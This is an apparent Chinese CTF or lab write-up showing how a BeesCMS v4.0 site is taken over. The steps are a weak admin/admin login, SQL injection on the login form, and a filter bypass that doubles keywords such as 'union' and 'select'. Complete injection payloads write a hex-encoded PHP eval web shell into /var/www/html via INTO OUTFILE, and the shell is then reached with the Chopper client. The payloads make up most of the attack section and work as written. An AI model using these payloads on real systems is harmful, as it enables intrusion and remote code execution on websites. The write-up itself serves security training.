通过使用御剑扫描得到了后台页面,测试了一下admin/admin,发现能够登陆,存在弱口令;
登陆到后台页面,发现操作系统是linux,开始寻找能够上传shell的页面;
寻找后发现,后台的功能都不能实现,但是在报错信息中能够得到网站目录为/var/www/html;
查找资料后发现在登陆界面存在SQL注入;在admin后加'测试,发现页面报错;
通过order by测试得到列数为5;
使用union select级联查询,发现页面报错,查看报错信息,发现union select都被过滤了;
这里通过复写并对照报错信息,能够绕过过滤;
admin' un union ion seselectlect 1,2,3,4,5#
向网站目录中写入一句话,发现报错,分析报错语句,一句话中的特殊字符被转义,into outfile被过滤;
同样通过复写绕过过滤,并将一句话通过hex编码进行绕过转义;
admin' uni union on selselectect 1,2,3,4,'unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e)' in into outoutfilefile '/var/www/html/she.php'#
但是发现这里使用unhex无效;
上传后能够执行shell;
但是使用菜刀连接发现unhex并没有被执行;
这里使用另一种方法,在一句话的hex编码前加上0x;
admin' un union ion seselectlect 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile '/var/www/html/shell.php'#
访问发现能够执行shell;
使用菜刀连接;
连接成功,key文件在根目录中;
Beescms_v4.0 sql注入漏洞分析参考:
https://www.cnblogs.com/yuzly/p/11423384.html